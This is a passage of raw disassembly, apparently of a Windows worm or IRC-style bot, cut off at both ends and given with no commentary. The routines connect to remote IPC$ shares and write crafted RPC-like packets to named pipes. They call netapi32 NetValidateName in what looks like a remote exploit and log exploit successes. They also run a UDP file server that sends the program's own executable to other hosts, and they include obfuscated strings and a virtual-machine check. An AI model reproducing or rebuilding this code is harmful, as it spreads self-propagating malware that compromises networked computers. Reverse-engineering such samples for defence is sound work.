ebx push esi push edi jz short loc_4096EE or [ebp+arg_7], 1 jmp short loc_4096F2 ; --------------------------------------------------------------------------- loc_4096EE: ; CODE XREF: sub_4096DA+Cj and [ebp+arg_7], 0FEh loc_4096F2: ; CODE XREF: sub_4096DA+12j mov ebx, [ebp+arg_20] mov eax, [ebp+arg_24] lea ecx, [ebx+18h] cmp ecx, eax ja short loc_409713 or [ebp+arg_7], 2 and byte ptr [ebp+arg_28+3], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_409725 ; --------------------------------------------------------------------------- loc_409713: ; CODE XREF: sub_4096DA+23j mov [ebp+arg_C], ax add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_14], eax mov byte ptr [ebp+arg_28+3], 1 loc_409725: ; CODE XREF: sub_4096DA+37j movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_4297B8 test eax, eax pop ecx mov [ebp+arg_20], eax jnz short loc_40973E loc_40973A: ; CODE XREF: sub_4096DA+A4j xor eax, eax jmp short loc_4097B4 ; --------------------------------------------------------------------------- loc_40973E: ; CODE XREF: sub_4096DA+5Ej push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_429420 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_437078 ; WriteFile push [ebp+arg_20] test eax, eax jnz short loc_409780 call sub_4298F2 pop ecx jmp short loc_40973A ; --------------------------------------------------------------------------- loc_409780: ; CODE XREF: sub_4096DA+9Cj call sub_4298F2 cmp byte ptr [ebp+arg_28+3], 0 pop ecx jz short loc_4097B1 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_4096DA add esp, 2Ch jmp short loc_4097B4 ; --------------------------------------------------------------------------- loc_4097B1: ; CODE XREF: sub_4096DA+B0j xor eax, eax inc eax loc_4097B4: ; CODE XREF: sub_4096DA+62j ; sub_4096DA+D5j pop edi pop esi pop ebx leave retn sub_4096DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097B9 proc near ; CODE XREF: .text:00409D8Fp ; .text:00409DB4p ... var_CC48 = byte ptr -0CC48h var_8C48 = byte ptr -8C48h var_6C48 = byte ptr -6C48h var_4C48 = byte ptr -4C48h var_2C48 = word ptr -2C48h var_10F0 = dword ptr -10F0h var_7F4 = byte ptr -7F4h var_7EF = byte ptr -7EFh var_7B0 = byte ptr -7B0h var_344 = byte ptr -344h var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_6B = byte ptr -6Bh var_6A = byte ptr -6Ah var_69 = byte ptr -69h var_68 = dword ptr -68h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = word ptr -50h var_4E = byte ptr -4Eh var_4C = byte ptr -4Ch var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = dword ptr -20h var_1A = word ptr -1Ah var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_B0 = dword ptr 0B8h arg_B8 = dword ptr 0C0h arg_C0 = dword ptr 0C8h arg_C8 = dword ptr 0D0h arg_CC = dword ptr 0D4h push ebp mov ebp, esp mov eax, 0CC48h call sub_429B60 push ebx push esi push edi lea eax, [ebp+arg_4] push 1 push eax call sub_404525 pop ecx cmp eax, 3 pop ecx mov [ebp+var_4], eax jz short loc_4097F7 lea eax, [ebp+arg_4] push 5 push eax call sub_404525 pop ecx cmp eax, 3 pop ecx mov [ebp+var_4], eax jnz loc_409C75 loc_4097F7: ; CODE XREF: sub_4097B9+23j mov eax, dword_43EFB0 xor ebx, ebx cmp eax, ebx mov [ebp+var_C], eax jz loc_409C75 push 2B1h lea eax, [ebp+var_344] push ebx push eax call sub_429760 mov esi, 0DACh lea eax, [ebp+var_10F0] push esi push ebx push eax call sub_429760 push 1B58h lea eax, [ebp+var_2C48] push ebx push eax call sub_429760 push 0DABh lea eax, [ebp+var_10F0] push 41h push eax call sub_429760 mov edi, [ebp+arg_0] push 5 push offset dword_43EFB4 lea edi, [edi+edi*2] shl edi, 2 mov eax, dword ptr (loc_43F012+2)[edi] mov ecx, dword ptr (loc_43F00F+1)[edi] mov [ebp+eax+var_10F0], ecx lea eax, [ebp+var_7F4] push eax call sub_429420 push 3Fh lea eax, [ebp+var_7EF] push offset sub_43EFD0 push eax call sub_429420 add esp, 48h lea eax, [ebp+var_344] push eax push [ebp+var_C] push offset dword_43A8E8 call sub_4096A9 lea eax, [ebp+var_344] push eax call sub_4293A0 push eax lea eax, [ebp+var_344] push eax lea eax, [ebp+var_7B0] push eax call sub_429420 lea eax, [ebp+var_344] push eax call sub_4293A0 add esp, 20h cmp [ebp+var_4], 3 mov [ebp+eax+var_7B0], bl jnz short loc_409900 xor eax, eax loc_4098EA: ; CODE XREF: sub_4097B9+145j movzx cx, byte ptr [ebp+eax+var_10F0] mov [ebp+eax*2+var_2C48], cx inc eax cmp eax, esi jb short loc_4098EA loc_409900: ; CODE XREF: sub_4097B9+12Dj lea eax, [ebp+arg_4] mov esi, 2000h push eax push offset aS_0 ; "\\\\%s" lea eax, [ebp+var_6C48] push esi push eax call sub_429BBE lea eax, [ebp+var_6C48] push esi push eax lea eax, [ebp+var_CC48] push eax call sub_42AA24 lea eax, [ebp+arg_4] push offset dword_43AB8C push eax call sub_42A8C0 add esp, 24h test eax, eax jz short loc_40999C lea eax, [ebp+arg_4] push eax push offset dword_43CB4C lea eax, [ebp+var_8C48] push esi push eax call sub_429BBE push esi lea eax, [ebp+var_8C48] push offset aIpc ; "IPC$" push eax call sub_4299E0 push 20h lea eax, [ebp+var_90] push ebx push eax call sub_429760 lea eax, [ebp+var_8C48] add esp, 28h mov [ebp+var_7C], eax mov eax, offset byte_454A54 push ebx push eax push eax lea eax, [ebp+var_90] push eax call dword_457000 loc_40999C: ; CODE XREF: sub_4097B9+189j lea eax, [ebp+arg_4] push eax push offset dword_43CB4C lea eax, [ebp+var_4C48] push esi push eax call sub_429BBE push esi lea eax, [ebp+var_4C48] push offset dword_43F078 push eax call sub_4299E0 add esp, 1Ch lea eax, [ebp+var_4C48] push ebx push ebx push 3 push ebx push 3 push 40000000h push eax call dword_43705C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_409C6A push 48h lea eax, [ebp+var_6C] push ebx push eax call sub_429760 xor eax, eax push 10h inc eax pop esi mov [ebp+var_60], eax mov [ebp+var_54], eax mov [ebp+var_4E], al mov [ebp+var_3C], eax push esi lea eax, [ebp+var_4C] push offset dword_43F064 push eax mov [ebp+var_6C], 5 mov [ebp+var_6B], bl mov [ebp+var_6A], 0Bh mov [ebp+var_69], 3 mov [ebp+var_68], esi mov [ebp+var_64], 48h mov [ebp+var_62], bx mov [ebp+var_5C], 10B8h mov [ebp+var_5A], 10B8h mov [ebp+var_58], ebx mov [ebp+var_50], bx call sub_429420 push esi lea eax, [ebp+var_38] push offset dword_43E15C push eax mov [ebp+var_28], 2 call sub_429420 add esp, 24h lea eax, [ebp+var_70] push ebx push eax lea eax, [ebp+var_6C] push 48h push eax push [ebp+var_4] call dword_437078 ; WriteFile test eax, eax jnz short loc_409A87 loc_409A79: ; CODE XREF: sub_4097B9+339j push [ebp+var_4] call dword_437044 ; CloseHandle jmp loc_409C6A ; --------------------------------------------------------------------------- loc_409A87: ; CODE XREF: sub_4097B9+2BEj lea eax, [ebp+var_CC48] push eax call sub_42AA07 lea eax, [eax+eax+12h] pop ecx test al, 3 mov [ebp+arg_0], eax jz short loc_409AA8 loc_409A9F: ; CODE XREF: sub_4097B9+2EDj inc [ebp+arg_0] test byte ptr [ebp+arg_0], 3 jnz short loc_409A9F loc_409AA8: ; CODE XREF: sub_4097B9+2E4j cmp byte ptr (loc_43F017+1)[edi], bl jz short loc_409AB4 add [ebp+arg_0], 4 loc_409AB4: ; CODE XREF: sub_4097B9+2F5j lea eax, [ebp+var_2C48] push eax call sub_42AA07 pop ecx mov ecx, [ebp+arg_0] lea eax, [ecx+eax*2+0Eh] jmp short loc_409ACB ; --------------------------------------------------------------------------- loc_409ACA: ; CODE XREF: sub_4097B9+314j inc eax loc_409ACB: ; CODE XREF: sub_4097B9+30Fj test al, 3 jnz short loc_409ACA add eax, 8 cmp byte ptr (loc_43F017+1)[edi], bl jz short loc_409ADF add eax, 4 jmp short loc_409AE1 ; --------------------------------------------------------------------------- loc_409ADF: ; CODE XREF: sub_4097B9+31Fj inc eax inc eax loc_409AE1: ; CODE XREF: sub_4097B9+324j push eax mov [ebp+arg_0], eax call sub_4297B8 mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_C], esi jz short loc_409A79 push [ebp+arg_0] push ebx push esi call sub_429760 push 4 push offset dword_43EFBC push esi call sub_429420 lea eax, [ebp+var_CC48] push eax call sub_42AA07 inc eax mov [esi+8], ebx mov [esi+0Ch], eax mov [esi+4], eax lea eax, [ebp+var_CC48] push eax lea eax, [esi+10h] push eax call sub_429C39 lea eax, [ebp+var_CC48] push eax call sub_42AA07 lea eax, [eax+eax+12h] add esp, 28h test al, 3 mov [ebp+var_8], eax jz short loc_409B53 loc_409B4B: ; CODE XREF: sub_4097B9+395j inc eax test al, 3 jnz short loc_409B4B mov [ebp+var_8], eax loc_409B53: ; CODE XREF: sub_4097B9+390j cmp byte ptr (loc_43F017+1)[edi], bl jz short loc_409B71 push 4 add eax, esi push offset dword_43EFC4 push eax call sub_429420 add esp, 0Ch add [ebp+var_8], 4 loc_409B71: ; CODE XREF: sub_4097B9+3A0j lea eax, [ebp+var_2C48] push eax call sub_42AA07 mov ecx, [ebp+var_8] inc eax mov [ecx+esi+8], eax mov [ecx+esi+4], ebx mov [ecx+esi], eax add ecx, 0Ch mov [ebp+var_8], ecx lea eax, [ebp+var_2C48] add ecx, esi push eax push ecx call sub_429C39 lea eax, [ebp+var_2C48] push eax call sub_42AA07 mov ecx, [ebp+var_8] add esp, 10h lea eax, [ecx+eax*2+2] test al, 3 mov [ebp+var_8], eax jz short loc_409BC6 loc_409BBE: ; CODE XREF: sub_4097B9+408j inc eax test al, 3 jnz short loc_409BBE mov [ebp+var_8], eax loc_409BC6: ; CODE XREF: sub_4097B9+403j push 8 add eax, esi push ebx push eax call sub_429760 mov eax, [ebp+var_8] add esp, 0Ch add eax, 8 cmp byte ptr (loc_43F017+1)[edi], bl jz short loc_409BE7 mov [eax+esi], ebx jmp short loc_409BED ; --------------------------------------------------------------------------- loc_409BE7: ; CODE XREF: sub_4097B9+427j mov word ptr [eax+esi], 1 loc_409BED: ; CODE XREF: sub_4097B9+42Cj push 18h lea eax, [ebp+var_24] push ebx push eax call sub_429760 xor eax, eax add esp, 0Ch inc eax xor ecx, ecx cmp byte ptr (loc_43F017+1)[edi], bl push eax push 10B8h mov [ebp+var_24], 5 push [ebp+arg_0] mov [ebp+var_23], bl setnz cl push esi lea esi, [ebp+var_24] sub esp, 18h lea ecx, [ecx+ecx+19h] mov [ebp+var_E], cx mov [ebp+var_22], bl push 6 mov [ebp+var_21], 3 pop ecx mov [ebp+var_20], 10h mov edi, esp push [ebp+var_4] mov [ebp+var_1A], bx mov [ebp+var_18], eax mov [ebp+var_10], bx rep movsd call sub_4096DA add esp, 2Ch test eax, eax push [ebp+var_4] jnz short loc_409C7C call dword_437044 ; CloseHandle push [ebp+var_C] call sub_4298F2 pop ecx loc_409C6A: ; CODE XREF: sub_4097B9+22Dj ; sub_4097B9+2C9j push ebx push ebx push [ebp+var_7C] call dword_456FB0 loc_409C75: ; CODE XREF: sub_4097B9+38j ; sub_4097B9+4Aj xor eax, eax jmp loc_409D58 ; --------------------------------------------------------------------------- loc_409C7C: ; CODE XREF: sub_4097B9+4A0j call dword_437044 ; CloseHandle push [ebp+var_C] call sub_4298F2 pop ecx push ebx push ebx push [ebp+var_7C] call dword_456FB0 push 7D0h call dword_437190 ; Sleep movzx eax, word_44399E push eax lea esi, [ebp+arg_4] sub esp, 0C4h push 31h pop ecx mov edi, esp rep movsd call sub_401B6E add esp, 0C8h test eax, eax jz loc_409D55 mov edx, [ebp+arg_B0] mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov eax, edx mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" shl eax, 6 lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp [ebp+arg_C0], ebx mov ecx, [ecx] jz short loc_409D23 cmp [ebp+arg_B8], ebx jnz short loc_409D2B push ecx lea ecx, [ebp+arg_4] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push [ebp+arg_C8] push [ebp+arg_CC] call sub_41CE4A mov edx, [ebp+arg_B0] add esp, 1Ch loc_409D23: ; CODE XREF: sub_4097B9+538j cmp [ebp+arg_B8], ebx jz short loc_409D55 loc_409D2B: ; CODE XREF: sub_4097B9+540j shl edx, 6 lea eax, [ebp+arg_4] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push [ebp+arg_C8] push [ebp+arg_CC] call sub_41CDD4 add esp, 1Ch loc_409D55: ; CODE XREF: sub_4097B9+50Dj ; sub_4097B9+570j xor eax, eax inc eax loc_409D58: ; CODE XREF: sub_4097B9+4BEj pop edi pop esi pop ebx leave retn sub_4097B9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+10h] push ebx push eax call sub_404525 pop ecx cmp eax, 3 pop ecx jnz short loc_409DCA push dword ptr [ebp+0Ch] lea esi, [ebp+10h] push dword ptr [ebp+8] sub esp, 0C4h push 31h pop ecx mov edi, esp push ebx rep movsd call sub_4097B9 add esp, 0D0h lea esi, [ebp+10h] mov [ebp-4], eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] sub esp, 0C4h push 31h pop ecx mov edi, esp push ebx rep movsd call sub_4097B9 add esp, 0D0h test eax, eax jnz short loc_409DF0 cmp [ebp-4], eax jnz short loc_409DF0 jmp short loc_409DF2 ; --------------------------------------------------------------------------- loc_409DCA: ; CODE XREF: .text:00409D76j cmp eax, 2 jnz short loc_409DF0 sub esp, 0C4h lea esi, [ebp+10h] push 31h pop ecx mov edi, esp push dword ptr [ebp+0Ch] rep movsd push dword ptr [ebp+8] call sub_409FC8 add esp, 0CCh loc_409DF0: ; CODE XREF: .text:00409DC1j ; .text:00409DC6j ... mov eax, ebx loc_409DF2: ; CODE XREF: .text:00409DC8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi lea eax, [ebp+10h] push 1 push eax call sub_404525 pop ecx cmp eax, 3 pop ecx jnz loc_409EB4 mov ebx, [ebp+0Ch] lea esi, [ebp+10h] push ebx push dword ptr [ebp+8] sub esp, 0C4h push 31h pop ecx mov edi, esp push 0 rep movsd call sub_4097B9 add esp, 0D0h lea esi, [ebp+10h] mov [ebp+0Ch], eax push ebx push dword ptr [ebp+8] sub esp, 0C4h push 31h pop ecx mov edi, esp push 0 rep movsd call sub_4097B9 add esp, 0D0h test eax, eax jnz short loc_409E88 cmp [ebp+0Ch], eax jnz short loc_409E88 push ebx lea esi, [ebp+10h] push dword ptr [ebp+8] sub esp, 0C4h push 31h pop ecx mov edi, esp push 2 rep movsd call sub_4097B9 add esp, 0D0h mov [ebp+0Ch], eax loc_409E88: ; CODE XREF: .text:00409E5Dj ; .text:00409E62j push ebx lea esi, [ebp+10h] push dword ptr [ebp+8] sub esp, 0C4h push 31h pop ecx mov edi, esp push 2 rep movsd call sub_4097B9 add esp, 0D0h test eax, eax jnz short loc_409EDA cmp [ebp+0Ch], eax jnz short loc_409EDA jmp short loc_409EDD ; --------------------------------------------------------------------------- loc_409EB4: ; CODE XREF: .text:00409E0Dj cmp eax, 2 jnz short loc_409EDA sub esp, 0C4h lea esi, [ebp+10h] push 31h pop ecx mov edi, esp push dword ptr [ebp+0Ch] rep movsd push dword ptr [ebp+8] call sub_409FC8 add esp, 0CCh loc_409EDA: ; CODE XREF: .text:00409EABj ; .text:00409EB0j ... xor eax, eax inc eax loc_409EDD: ; CODE XREF: .text:00409EB2j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409EE2 proc near ; DATA XREF: sub_409FAF+6o var_220 = byte ptr -220h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 220h push edi push offset aNetapi32_dll ; "netapi32.dll" call dword_437034 ; LoadLibraryA push offset aNetvalidatenam ; "NetValidateName" push eax mov dword_4557E0, eax call dword_437030 ; GetProcAddress xor edi, edi mov dword_4557D4, eax cmp eax, edi jz loc_409FAC push esi mov esi, 80h push [ebp+arg_0] lea eax, [ebp+var_120] push offset aSIpc_0 ; "\\\\%s\\IPC$" push esi push eax call sub_429BBE push [ebp+arg_0] lea eax, [ebp+var_A0] push offset aS_0 ; "\\\\%s" push esi push eax call sub_429BBE add esp, 20h lea eax, [ebp+var_220] push esi push eax lea eax, [ebp+var_A0] push eax call sub_4293A0 pop ecx inc eax push eax lea eax, [ebp+var_A0] push eax push edi push edi call dword_437184 ; MultiByteToWideChar lea eax, [ebp+var_120] push edi mov [ebp+var_C], eax mov eax, offset byte_454A54 push eax push eax lea eax, [ebp+var_20] mov [ebp+var_10], edi push eax mov [ebp+var_4], edi mov [ebp+var_1C], edi call sub_4290C4 push edi push edi push edi lea eax, [ebp+var_220] push offset byte_4557E8 push eax call dword_4557D4 add esp, 14h pop esi loc_409FAC: ; CODE XREF: sub_409EE2+2Fj pop edi leave retn sub_409EE2 endp ; =============== S U B R O U T I N E ======================================= sub_409FAF proc near ; CODE XREF: sub_409FC8+E6p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push offset sub_409EE2 call sub_42AB81 add esp, 0Ch mov dword_4557D8, eax retn sub_409FAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409FC8 proc near ; CODE XREF: .text:00409DE5p ; .text:00409ECFp var_190 = byte ptr -190h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_B4 = dword ptr 0BCh arg_BC = dword ptr 0C4h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp sub esp, 190h push esi push edi lea eax, [ebp+arg_8] push 1 push eax call sub_404525 pop ecx test eax, eax pop ecx lea eax, [ebp+arg_8] jz short loc_409FEB push 1 jmp short loc_409FED ; --------------------------------------------------------------------------- loc_409FEB: ; CODE XREF: sub_409FC8+1Dj push 5 loc_409FED: ; CODE XREF: sub_409FC8+21j push eax call sub_404525 pop ecx mov esi, eax pop ecx lea eax, [ebp+arg_8] push eax call dword_4372C0 ; inet_addr cmp esi, 9 jz short loc_40A085 push 5 cmp esi, 3 pop eax jnz short loc_40A011 push 4 pop eax loc_40A011: ; CODE XREF: sub_409FC8+44j cmp esi, 2 jnz short loc_40A019 xor eax, eax inc eax loc_40A019: ; CODE XREF: sub_409FC8+4Cj mov edi, dword_43F048[eax*4] mov esi, 0A28h push esi push 90h push offset byte_4557E8 call sub_429760 mov eax, edi mov ecx, 1FBh mov edi, offset byte_4557E9 add esp, 0Ch rep stosd lea eax, [ebp+var_190] push eax push 101h call dword_4372B8 ; WSAStartup test eax, eax jnz short loc_40A085 push 6 push 1 push 2 call dword_4372BC ; socket mov ax, word_44399E push eax call dword_4372C4 ; ntohs mov ecx, dword_43F060 lea eax, [ecx+7FEh] cmp eax, esi jle short loc_40A08C loc_40A085: ; CODE XREF: sub_409FC8+3Cj ; sub_409FC8+92j xor eax, eax jmp loc_40A17A ; --------------------------------------------------------------------------- loc_40A08C: ; CODE XREF: sub_409FC8+BBj test ecx, ecx jle short loc_40A0A8 mov eax, ecx mov esi, offset dword_43A8E8 mov edi, offset word_455FE6 shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_40A0A8: ; CODE XREF: sub_409FC8+C6j lea eax, [ebp+arg_8] push 14h push eax call sub_409FAF pop ecx pop ecx push 7D0h call dword_437190 ; Sleep movzx eax, word_44399E push eax lea esi, [ebp+arg_8] sub esp, 0C4h push 31h pop ecx mov edi, esp rep movsd call sub_401B6E add esp, 0C8h test eax, eax jz loc_40A16D mov edx, [ebp+arg_B4] mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov eax, edx mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" shl eax, 6 lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp [ebp+arg_C4], 0 mov ecx, [ecx] jz short loc_40A13E cmp [ebp+arg_BC], 0 jnz short loc_40A147 push ecx lea ecx, [ebp+arg_8] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A mov edx, [ebp+arg_B4] add esp, 1Ch loc_40A13E: ; CODE XREF: sub_409FC8+149j cmp [ebp+arg_BC], 0 jz short loc_40A177 loc_40A147: ; CODE XREF: sub_409FC8+152j shl edx, 6 lea eax, [ebp+arg_8] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 1Ch jmp short loc_40A177 ; --------------------------------------------------------------------------- loc_40A16D: ; CODE XREF: sub_409FC8+11Dj lea eax, [ebp+arg_8] push eax call sub_401E9E pop ecx loc_40A177: ; CODE XREF: sub_409FC8+17Dj ; sub_409FC8+1A3j xor eax, eax inc eax loc_40A17A: ; CODE XREF: sub_409FC8+BFj pop edi pop esi leave retn sub_409FC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A17E proc near ; CODE XREF: .text:0040A262p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] mov [ebp+var_10], 2 call dword_456F38 ; ntohs mov [ebp+var_E], ax and [ebp+var_C], 0 lea eax, [ebp+arg_4] push 4 push eax push 4 push 0FFFFh mov [ebp+arg_4], 1 push [ebp+arg_0] call dword_456F10 ; setsockopt test eax, eax jnz short loc_40A1E6 lea eax, [ebp+var_10] push 10h push eax push [ebp+arg_0] call dword_456F6C ; bind cmp eax, 0FFFFFFFFh jz short loc_40A1E6 cmp [ebp+arg_8], 0 jnz short loc_40A1EA push 0Ah push [ebp+arg_0] call dword_456F68 ; listen cmp eax, 0FFFFFFFFh jnz short loc_40A1EA loc_40A1E6: ; CODE XREF: sub_40A17E+3Cj ; sub_40A17E+50j xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40A1EA: ; CODE XREF: sub_40A17E+56j ; sub_40A17E+66j xor eax, eax inc eax leave retn sub_40A17E endp ; --------------------------------------------------------------------------- loc_40A1EF: ; DATA XREF: sub_40A9FE+6884o push ebp mov ebp, esp sub esp, 604h mov eax, [ebp+8] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp-0F4h] rep movsd xor edi, edi xor ebx, ebx inc edi push ebx mov [eax+0BCh], edi mov eax, [ebp-0F4h] push 2 push 2 mov [ebp-8], eax call dword_456FD0 ; socket push 0Bh mov esi, eax call sub_42381F imul eax, 2724h cmp esi, ebx pop ecx mov dword_46D730[eax], esi jnz short loc_40A24B push ebx call dword_437174 ; ExitThread loc_40A24B: ; CODE XREF: .text:0040A242j push edi push 45h push 0Bh call sub_42381F imul eax, 2724h pop ecx push dword_46D730[eax] call sub_40A17E add esp, 0Ch test eax, eax jnz short loc_40A275 push ebx call dword_437174 ; ExitThread loc_40A275: ; CODE XREF: .text:0040A26Cj lea eax, [ebp-604h] push 104h push eax push ebx call dword_43717C ; GetModuleFileNameA test eax, eax jz loc_40A50D lea eax, [ebp-604h] push offset aRb ; "rb" push eax call sub_42A50C pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz loc_40A50D mov esi, 200h loc_40A2B3: ; CODE XREF: .text:0040A313j ; .text:0040A3EEj ... push 0Bh mov dword ptr [ebp-10h], 5 mov dword ptr [ebp-0Ch], 1388h mov [ebp-500h], ebx call sub_42381F imul eax, 2724h inc dword ptr [ebp-500h] mov dword ptr [esp], 104h mov eax, dword_46D730[eax] push ebx mov [ebp-4FCh], eax lea eax, [ebp-3FCh] push eax call sub_429760 add esp, 0Ch lea eax, [ebp-10h] push eax push ebx lea eax, [ebp-500h] push ebx push eax push ebx call dword_456F1C ; select test eax, eax jz short loc_40A2B3 push 10h lea eax, [ebp-4] pop edi push eax lea eax, [ebp-20h] push eax push ebx lea eax, [ebp-3FCh] push 104h push eax push 0Bh mov [ebp-4], edi call sub_42381F imul eax, 2724h pop ecx push dword_46D730[eax] call dword_456F04 ; recvfrom test eax, eax jz loc_40A506 push dword ptr [ebp-1Ch] call dword_456FDC ; inet_ntoa push eax lea eax, [ebp-30h] push edi push eax call sub_429BBE add esp, 0Ch cmp [ebp-3FCh], bl jnz loc_40A4F2 cmp byte ptr [ebp-3FBh], 1 jnz short loc_40A3F3 push offset dword_4439A8 call sub_4293A0 push ebx push ebx push dword ptr [ebp+8] call sub_42A422 push dword ptr [ebp+8] lea eax, [ebp-2F4h] mov [ebp-2F8h], bl mov byte ptr [ebp-2F7h], 3 push esi push 1 push eax mov [ebp-2F6h], bl mov byte ptr [ebp-2F5h], 1 call sub_42A188 add esp, 20h lea ecx, [ebp-20h] add eax, 4 push dword ptr [ebp-4] push ecx push ebx push eax lea eax, [ebp-2F8h] push eax loc_40A3D4: ; CODE XREF: .text:0040A501j push 0Bh call sub_42381F imul eax, 2724h pop ecx push dword_46D730[eax] call dword_456FAC ; sendto jmp loc_40A2B3 ; --------------------------------------------------------------------------- loc_40A3F3: ; CODE XREF: .text:0040A37Cj cmp byte ptr [ebp-3FBh], 4 jnz loc_40A4F2 mov cl, [ebp-3F9h] mov al, [ebp-3FAh] cmp cl, 0FFh mov [ebp-2F8h], bl mov byte ptr [ebp-2F7h], 3 jnz short loc_40A42A inc al xor cl, cl mov [ebp-2F5h], bl jmp short loc_40A432 ; --------------------------------------------------------------------------- loc_40A42A: ; CODE XREF: .text:0040A41Cj inc cl mov [ebp-2F5h], cl loc_40A432: ; CODE XREF: .text:0040A428j mov [ebp-2F6h], al push ebx movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx shl eax, 9 sub eax, esi push eax push dword ptr [ebp+8] call sub_42A422 push dword ptr [ebp+8] lea eax, [ebp-2F4h] push esi push 1 push eax call sub_42A188 add esp, 1Ch mov edi, eax lea eax, [ebp-20h] push dword ptr [ebp-4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp-2F8h] push eax push 0Bh call sub_42381F imul eax, 2724h pop ecx push dword_46D730[eax] call dword_456FAC ; sendto cmp edi, ebx jnz short loc_40A4C4 cmp [ebp-44h], ebx jz short loc_40A4C4 cmp [ebp-3Ch], ebx jnz short loc_40A4CD lea eax, [ebp-30h] push eax push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" lea eax, [ebp-0F0h] push offset dword_43F0B0 push eax push dword ptr [ebp-8] call sub_41CE4A add esp, 14h loc_40A4C4: ; CODE XREF: .text:0040A498j ; .text:0040A49Dj cmp [ebp-3Ch], ebx jz loc_40A2B3 loc_40A4CD: ; CODE XREF: .text:0040A4A2j lea eax, [ebp-30h] push eax push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" lea eax, [ebp-0F0h] push offset dword_43F0B0 push eax push dword ptr [ebp-8] call sub_41CDD4 add esp, 14h jmp loc_40A2B3 ; --------------------------------------------------------------------------- loc_40A4F2: ; CODE XREF: .text:0040A36Fj ; .text:0040A3FAj push dword ptr [ebp-4] lea eax, [ebp-20h] push eax push ebx push 9 push offset dword_43F0A4 jmp loc_40A3D4 ; --------------------------------------------------------------------------- loc_40A506: ; CODE XREF: .text:0040A34Cj push ebx call dword_437174 ; ExitThread loc_40A50D: ; CODE XREF: .text:0040A28Aj ; .text:0040A2A8j push ebx call dword_437174 ; ExitThread loc_40A514: ; CODE XREF: sub_40A7C5+A1p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437308 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 14h push ebx push esi push edi mov [ebp-18h], esp and byte ptr [ebp-19h], 0 and dword ptr [ebp-4], 0 push ebx mov ebx, 0 mov eax, 1 ; --------------------------------------------------------------------------- db 0Fh, 3Fh, 7 dd 0FDB850Bh, 5BE74594h, 458B34EBh, 0E04589ECh, 8BE0458Bh dd 45890440h, 0DC4D8BDCh, 89FFC883h, 0A481h, 0DC4D8B00h dd 0B8898Bh, 0C1830000h, 0DC558B04h, 0B88A89h, 8BC30000h dd 4D83E865h, 458AFFFCh, 0F04D8BE7h, 0D8964h, 5F000000h dd 0C3C95B5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5A4 proc near ; CODE 